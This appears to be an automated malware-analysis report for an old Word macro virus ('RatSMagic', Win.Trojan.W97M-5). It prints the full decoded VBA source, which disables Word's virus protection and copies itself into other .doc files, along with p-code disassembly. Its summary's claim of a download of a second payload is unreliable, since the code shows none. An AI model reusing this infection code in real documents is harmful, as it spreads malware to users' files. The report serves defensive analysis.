Win.Trojan.W97M-5 Office (OLE) malware analysis — malicious · 927f44c687bdcbad

MALICIOUS

Office (OLE)

30.5 KB Created: 1997-07-09 14:55:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14

MD5: 8aaaf5d80ec97f3937506c167422d4c4 SHA-1: e48a40e849354c76efb5580f57fbb58676c63f7d SHA-256: 927f44c687bdcbadc65d3830ffc268f9885fc03febe503da80b3d722c282308a

200 Risk Score

Malware Insights

Win.Trojan.W97M-5 · confidence 95%

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a legacy WordBasic AutoOpen macro, identified as Win.Trojan.W97M-5 by ClamAV. The AutoOpen macro attempts to manipulate document settings and potentially append data to itself, indicating an attempt to download and execute a secondary payload. The presence of the AutoOpen macro and the ClamAV detection strongly suggest a malicious intent.

Heuristics 4

ClamAV: Win.Trojan.W97M-5 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Win.Trojan.W97M-5
VBA macros detected medium 1 related finding OLE_VBA_MACROS

Document contains VBA macro code
AutoOpen macro high OLE_VBA_AUTOOPEN

AutoOpen macro
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	4202 bytes
SHA-256: `eed6e7ad9ba84382f36a5109a5507732e54f850f527a0392ac6d10c764b654bb`
Detection ClamAV: Win.Trojan.W97M-5 Obfuscation or payload: unlikely
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "RatSMagic" Sub AutoOpen() Application.ScreenUpdating = False WordBasic.DisableAutoMacros 0 Application.DisplayAlerts = wdAlertsNone Options.VirusProtection = False rsminf: FileName$ = CurDir$ + "\" + Dir(".doc") On Error GoTo payl Open FileName$ For Input As #1 Seek #1, 521 RSM$ = Input$(3, #1) Close #1 If RSM$ = Chr$(1) + Chr$(18) + Chr$(191) Then GoTo chgdir Open FileName$ For Append As #1 Seek #1, 523 Print #1, Chr$(1) + Chr$(18) + Chr$(191) + Chr$(0) + Chr$(0) Close #1 rsmdoc = ActiveDocument.FullName Application.Documents.Open FileName Application.OrganizerCopy Source:=rsmdoc, Destination:=FileName, Name:="RatSMagic", Object:=wdOrganizerObjectProjectItems Application.Documents.Save ActiveDocument.Close chgdir: ChDir ".." GoTo rsminf payl: If Rnd() <= 0.666 And Rnd() >= 0.666 Then GoTo JokE Else GoTo ecsit JokE: MsgBox "RatSMagic by Reptile", , "bwahahahaha!!!" GoTo JokE ecsit: End Sub ' Processing file: /opt/analyzer/scan_staging/6cd2e000e1384f418e686bf9b6a0d172.bin ' =============================================================================== ' Module streams: ' Macros/VBA/ThisDocument - 965 bytes ' Macros/VBA/RatSMagic - 2345 bytes ' Line #0: ' FuncDefn (Sub AutoOpen()) ' Line #1: ' LitVarSpecial (False) ' Ld Application ' MemSt ScreenUpdating ' Line #2: ' LitDI2 0x0000 ' Ld WordBasic ' ArgsMemCall DisableAutoMacros 0x0001 ' Line #3: ' Ld wdAlertsNone ' Ld Application ' MemSt DisplayAlerts ' Line #4: ' LitVarSpecial (False) ' Ld Options ' MemSt VirusProtection ' Line #5: ' Label rsminf ' Ld CurDir$ ' LitStr 0x0001 "\" ' Add ' LitStr 0x0005 ".doc" ' ArgsLd Dir 0x0001 ' Add ' St FileName$ ' Line #6: ' OnError payl ' Line #7: ' Ld FileName$ ' LitDI2 0x0001 ' Sharp ' LitDefault ' Open (For Input) ' Line #8: ' LitDI2 0x0001 ' Sharp ' LitDI2 0x0209 ' Seek ' Line #9: ' LitDI2 0x0003 ' LitDI2 0x0001 ' Sharp ' ArgsLd Input$$ 0x0002 ' St RSM$ ' Line #10: ' LitDI2 0x0001 ' Sharp ' Close 0x0001 ' Line #11: ' Ld RSM$ ' LitDI2 0x0001 ' ArgsLd Chr$ 0x0001 ' LitDI2 0x0012 ' ArgsLd Chr$ 0x0001 ' Add ' LitDI2 0x00BF ' ArgsLd Chr$ 0x0001 ' Add ' Eq ' If ' BoSImplicit ' GoTo chgdir ' EndIf ' Line #12: ' Ld FileName$ ' LitDI2 0x0001 ' Sharp ' LitDefault ' Open (For Append) ' Line #13: ' LitDI2 0x0001 ' Sharp ' LitDI2 0x020B ' Seek ' Line #14: ' LitDI2 0x0001 ' Sharp ' PrintChan ' LitDI2 0x0001 ' ArgsLd Chr$ 0x0001 ' LitDI2 0x0012 ' ArgsLd Chr$ 0x0001 ' Add ' LitDI2 0x00BF ' ArgsLd Chr$ 0x0001 ' Add ' LitDI2 0x0000 ' ArgsLd Chr$ 0x0001 ' Add ' LitDI2 0x0000 ' ArgsLd Chr$ 0x0001 ' Add ' PrintItemNL ' Line #15: ' LitDI2 0x0001 ' Sharp ' Close 0x0001 ' Line #16: ' Ld ActiveDocument ' MemLd FullName ' St rsmdoc ' Line #17: ' Ld FileName ' Ld Application ' MemLd Documents ' ArgsMemCall Option 0x0001 ' Line #18: ' Ld rsmdoc ' ParamNamed Source ' Ld FileName ' ParamNamed Destination ' LitStr 0x0009 "RatSMagic" ' ParamNamed New ' Ld wdOrganizerObjectProjectItems ' ParamNamed On ' Ld Application ' ArgsMemCall OrganizerCopy 0x0004 ' Line #19: ' Ld Application ' MemLd Documents ' ArgsMemCall Save 0x0000 ' Line #20: ' Ld ActiveDocument ' ArgsMemCall Close 0x0000 ' Line #21: ' Label chgdir ' LitStr 0x0002 ".." ' ArgsCall ChDir 0x0001 ' Line #22: ' GoTo rsminf ' Line #23: ' Label payl ' ArgsLd Rnd 0x0000 ' LitR8 0x5A1D 0x3B64 0x4FDF 0x3FE5 ' Le ' ArgsLd Rnd 0x0000 ' LitR8 0x5A1D 0x3B64 0x4FDF 0x3FE5 ' Ge ' And ' If ' BoSImplicit ' GoTo JokE ' Else ' BoSImplicit ' GoTo ecsit ' EndIf ' Line #24: ' Label JokE ' LitStr 0x0014 "RatSMagic by Reptile" ' ParamOmitted ' LitStr 0x000E "bwahahahaha!!!" ... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.